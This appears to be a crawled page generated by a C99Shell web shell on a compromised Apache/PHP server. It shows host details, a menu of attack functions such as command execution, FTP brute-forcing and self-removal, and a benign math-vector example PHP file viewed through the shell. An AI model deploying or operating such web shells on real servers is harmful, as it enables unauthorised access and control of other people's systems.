!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/Math_Vector/examples/   drwxr-xr-x
Free 13.64 GB of 61.93 GB (22.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     vector_creation.php (1.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once "Math/Vector/Vector.php";
require_once 
"Math/Vector/Vector2.php";
require_once 
"Math/Vector/Vector3.php";

$a range(2,4);
$t = new Math_Tuple(array(2,6,8));
echo 
date("Y-m-d H:i:s")."\n";
echo 
"==\nVector from array\n";
$v = new Math_Vector($a);
echo 
$v->toString()."\n";
echo 
"Original length: ".$v->length()."\n";
echo 
"Converting to a unit vector\n";
$v->normalize();
echo 
$v->toString()."\n";
echo 
"Length after normalizing: ".$v->length()."\n";

echo 
"Reversing vector\n";
$v->reverse();
echo 
$v->toString()."\n";

echo 
"==\nVector from tuple\n";
$w = new Math_Vector($t);
echo 
"Cartesian distance(v,w) = ".$v->distance($w)."\n";
echo 
"Manhattan distance(v,w) = ".$v->distance($w'manhattan')."\n";
echo 
"Chessboard distance(v,w) = ".$v->distance($w'chessboard')."\n";
echo 
"Vector v: ".$v->toString()."\n";
echo 
"Vector w: ".$w->toString()."\n";

echo 
"==\nVector from another vector\n";
$z = new Math_Vector(new Math_Vector(range(2,5)));
echo 
$z->toString()."\n";

echo 
"==\nVector3 vector\n";
$x = new Math_Vector3(new Math_Tuple(array(1,0,1)));
echo 
$x->toString()."\n";
echo 
"==\nVector2 vector\n";
$y = new Math_Vector2(array(1,3));
echo 
$y->toString()."\n";

echo 
"==\nInvalid vector\n";
$bar = new Math_Vector("foo");
if (
$bar->isValid())
    echo 
"bar is good\n";
else
    echo 
"bar is bad\n";
print_r($bar);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4839 ]--